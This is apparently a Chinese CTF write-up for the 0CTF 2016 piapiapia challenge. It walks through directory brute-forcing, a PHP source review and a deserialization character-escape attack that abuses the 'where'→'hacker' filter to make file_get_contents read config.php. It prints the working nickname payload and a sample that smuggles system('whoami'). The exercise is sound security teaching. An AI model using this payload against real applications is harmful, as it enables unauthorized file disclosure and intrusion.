代码审计[一] [0CTF 2016]piapiapia -反序列化字符自增导致文件包含

代码审计[一]

[0CTF 2016]piapiapia

image-20240330222529862

对着登录框一顿乱注,发现都没什么效果,于是转向目录爆破。

gobuster不知道为什么爆不了,只能用dirsearch来了

dirsearch -u [url]  -s 1 -t 10
image-20240330223719374

爆到了一整个源码备份压缩包,下载后进行分析

image-20240330223833938

源码分析

index.php

对于html部分,可以见到是登录界面,就不贴出来了。而php代码部分:

<?php
	require_once('class.php');//引入了class.php文件
//判断用户是否已经登录,如果已登录就重定向到profile.php
	if($_SESSION['username']) {
		header('Location: profile.php');
		exit;
	}
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];
//输入限制
		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');
//链接到class.php的函数中,作用是和数据库中的账密匹配
		if($user->login($username, $password)) {
			$_SESSION['username'] = $username;
			header('Location: profile.php');
			exit;	
		}
		else {
			die('Invalid user name or password');
		}
	}
	else {
?>

那就往class.php方向走

class.php

这个文件的篇幅很大,就拆有用的部分出来分析。

	//注册页面验证
	public function register($username, $password) {
        //调用 父类中的filter处理值
		$username = parent::filter($username);
		$password = parent::filter($password);

		$key_list = Array('username', 'password');
		$value_list = Array($username, md5($password));
        //插入数据库中
		return parent::insert($this->table, $key_list, $value_list);
	}
	//登录页面查询
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = '$username'";
        //在数据库中查询是否存在此信息
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
public function filter($string) {
    //过滤符号 '和 \\
		$escape = array('\'', '\\\\');
    //用implode讲元素用|连起来,做成一个正则表达式模式,下面同理
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);
		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

register.php

从class.php中,我们了解到那是一个处理各种情况下的数据库操作代码。我们并没有一个登录的环境session,目录爆出来有register页面,那就直接去注册一个。html部分是表单,就省略了,以下是php代码

<?php
	require_once('class.php');
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];
	//对username和password做了输入限制
		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');
        //限制都通过,且数据库没有相同用户下,写入注册数据到数据库中,重定向到index.php
		if(!$user->is_exists($username)) {
			$user->register($username, $password);
			echo 'Register OK!<a href="index.php">Please Login</a>';		
		}
		else {
			die('User name Already Exists');
		}
	}
	else {
?>

重定向到index.php,成功登录验证后会跳转到profile.php

profile.php

打开一看是个详细信息补全页面,html是展出信息,所以依然省略。以下是php代码

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	//对session中的用户到数据库中查询对应信息
	$profile=$user->show_profile($username);
	if($profile  == null) {
        //若没有任何信息,重定向到update.php
		header('Location: update.php');
	}
	else {
        //若有信息,则反序列化$profile
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
        //注意到有一个file_get_contents函数
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

现在找到了一个能文件包含的函数,结合起序列化,我们可以做一个字符逃逸的反序列化payload,但是现在不知道包含些什么文件,继续往下看。

update.php

同样,html是表单部分,不看。以下是php代码

<?php
   require_once('class.php');
   if($_SESSION['username'] == null) {
      die('Login First');    
   }
   if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

      $username = $_SESSION['username'];
       //各种输入过滤验证
      if(!preg_match('/^\d{11}$/', $_POST['phone']))
         die('Invalid phone');

      if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
         die('Invalid email');
      
      if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
         die('Invalid nickname');

      $file = $_FILES['photo'];
      if($file['size'] < 5 or $file['size'] > 1000000)
         die('Photo size error');
		//查了一下这个函数,是讲上传文件移动到指定位置的
       //$file['tmp_name']    --原路径
       //'upload/' . md5($file['name']) --upload文件下用md5命名每个文件
      move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
      $profile['phone'] = $_POST['phone'];
      $profile['email'] = $_POST['email'];
      $profile['nickname'] = $_POST['nickname'];
      $profile['photo'] = 'upload/' . md5($file['name']);
	//看到这里md5,本来想试试ffifdyop的,但是跟着update_profile跳转后,发现符号'是被过滤的,动不了手脚
     //那方向明确了,就是反序列化字符逃逸,但是该包含什么文件?
      $user->update_profile($username, serialize($profile));
      echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
   }

?>

config.php

最后一个文件,一看源码,豁然开朗了。那就文件包含config.php

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

反序列化字符逃逸

分析filter函数,可以看到特定字符会被过滤为hacker,而hacker有6个字符,特定字符数据中,有5/6位的字符,那么可以构成一个字符增加利用

public function filter($string) {
    //过滤符号 '和 \\
		$escape = array('\'', '\\\\');
    //用implode讲元素用|连起来,做成一个正则表达式模式,下面同理
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);
		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

这里贴上我之前的些笔记

字符增加的利用

$data= 'O:4:"test":2:{s:2:"v1";s:48:"lslslslslsls";s:2:"v2";s:16:"system("whoami")";}";s:2:"v3";s:3:"123";}';
//我们可以得知字符替换后长度会增加6,那么我们可以做一些敏感命令藏在语句当中。
//比如";s:2:"v2";s:16:"system("whoami")";}这一段
$data=str_replace("ls","nohacker",$data);//2->8 eat 6
var_dump(unserialize($data));

输出结果:

object(test)#1 (2) {
  ["v1"]=>
  string(48) "nohackernohackernohackernohackernohackernohacker"
  ["v2"]=>
  string(16) "system("whoami")"
}

做题

重新来看看这两个

$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
	$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];

		$photo = base64_encode(file_get_contents($profile['photo']));

并起来一起看就有头绪了,可以在nickname的输入中用字符逃逸的方法挤一个config.php给photo,然后从profile.php界面图片的base64解码内容就是config.php的所有内容

构造payload

因为一开始忘记nickname有输入限制,导致我构造出来的一直错误。所以看了网上一圈wp,发现还能用数组方式来绕过,学到了。

nickname[]=where*34";}s:5:"photo";s:10:"config.php";}//只能是where,其他都是6位字符

经过filter函数后变成

nickname[]=hacker*34";}s:5:"photo";s:10:"config.php";}

增加的34个字符,恰好把";}s:5:"photo";s:10:"config.php";}吐出来。而对于为什么前面会有{看到了一篇wp做了解析才明白,数组在序列化中样式会有所不同

[0CTF 2016]piapiapia WP(详细)_[0ctf 2016]piapiapia wp-CSDN博客

实操

注册-->登录-->profile开始抓包

db5d600b6c4085d3cffabd86c6889e9

放包后访问profile.php,查看图片源码,base64解码

7a0655bf0a8fe49a89150f08645f50e
posted @ 2024-03-31 11:45  eth258  阅读(45)  评论(0编辑  收藏  举报